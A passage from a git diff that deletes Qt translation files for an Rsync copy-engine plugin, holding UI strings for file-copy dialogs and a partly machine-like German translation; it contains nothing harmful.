- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/de/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/de/translation.ts
deleted file mode 100644
index 1370c9a..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/de/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="de" sourcelanguage="en">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>Auf dieser Plattform nicht unterstützt</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>Datum der letzten Änderung ist falsch</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>Datum des letzten Zugriffs ist falsch</translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation>Optionen Fehler</translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Optionen Motor nicht geladen wird, kann nicht auf die Filter zu übersetzen</translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation>Suche:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation>Suche Typ:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation>Roh text</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation>Vereinfachte regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation>Anwenden auf:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation>Datei</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation>Ordner</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation>Datei-und Ordnernamen</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation>Alle Saite muss passen</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation>Überprüfung</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation>Test-String:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation>Filters dialog</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation>Die Regex ist gültig</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation>Der Test-String Match mit dem regex</translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation>Filter</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation>Ausschluss-Filter</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation>Einbeziehungsfilter</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation>None = Schließt alle</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation>Roh text</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation>Vereinfachte regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation>Nur auf Datei</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation>Nur auf Ordner</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation>Spielaufzeichnung</translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation>Kann nicht tun, verschieben oder kopieren Artikel in den falschen gezwungen Modus: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation>Unfähig, die Transferliste sparen: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation>Problem an der Lektüre, der Oder Dateigröße IST Null</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation>Falsche Header: &quot;%1&quot;</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation>Die Transferliste ist im gemischten Modus, aber diese Instanz ist in diesem Modus nicht</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation>Die Transferliste ist im Copy-Mode, aber dieser Fall ist in diesem Modus nicht</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation>Die Transferliste ist in Verschiebe-Modus, aber diese Instanz ist in diesem Modus nicht</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation>Einige Fehler wurden während des Parsing gefunden</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation>Unfähig, die Transferliste geöffnet: %1</translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>Der Ordner kann nicht erstellt</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>Unfähig, die Quelldatei zu lesen: </translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Datei während der Lese, möglich Datenänderung abgeschnitten</translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation>erste Umbenennung</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation>%name% - kopieren</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variablen: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; für den ursprünglichen Dateinamen&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation>zweite Umbenennung</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>%name% - kopieren (%number%)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variablen: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; für den ursprünglichen Dateinamen&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; für die zusätzliche Zahl&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation>Umbenennen von Regeln</translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation>Der Ordner kann nicht entfernen</translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation>Die Prüfsummen nicht überein</translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation>Unfähig, die Quelldatei zu lesen: </translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation>Datei während der Lese, möglich Datenänderung abgeschnitten</translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation>Der Motor wird gezwungen sich zu bewegen, können Sie mit ihr nicht zu kopieren</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation>Der Motor ist gezwungen, zu kopieren, können Sie nicht mit ihm bewegen</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation>Der Modus wurden vorher gezwungen, es interner Fehler ist, melden Sie dies bitte</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation>Optionen Fehler</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Optionen Motor nicht geladen wird, kann nicht auf die Filter zu übersetzen</translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>Fehler bei der Datei</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>Fehler</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>Größe</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>Geändert</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>Dateiname</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>Immer diese Aktion</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>Legen Sie nach unten</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>Wiederholen</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>überspringen</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>Stornieren</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation>Fehler auf Ordner</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation>Ordnername</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>Die Datei existiert</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Quelle</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Ziel</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>Größe</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>Geändert</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>Dateiname</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>Schlagen neuen Namen</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>Immer diese Aktion</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>Umbenennen</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>überschreiben</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation>überspringen</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>Stornieren</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>Überschreiben, wenn neuere</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>Überschreiben, wenn nicht gleiche Änderungsdatum</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>Diese Dateien sind die gleiche Datei</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>Die Quelle und das Ziel ist dasselbe</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>Größe</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>Geändert</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>Dateiname</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>Schlagen neuen Namen</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>Immer diese Aktion</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>Umbenennen</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>überspringen</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>Stornieren</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>Diese Ordner sind die gleichen Ordner</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Quelle</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Ziel</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>Die Quelle und das Ziel ist dasselbe</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>Geändert</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>Ordnername</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>Schlagen neuen Namen</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>Immer diese Aktion</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>Umbenennen</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>Fusionieren</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>überspringen</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>Stornieren</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation>Ordner bereits vorhanden ist</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation>%1 - kopieren</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - kopieren (%2)</translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>Übertragen Sie die Datei Rechte</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>Halten Sie das Datei-Datum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>Blockgröße</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation>KB</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>Auto starten Sie die Übertragung</translation>
- </message>
- <message>
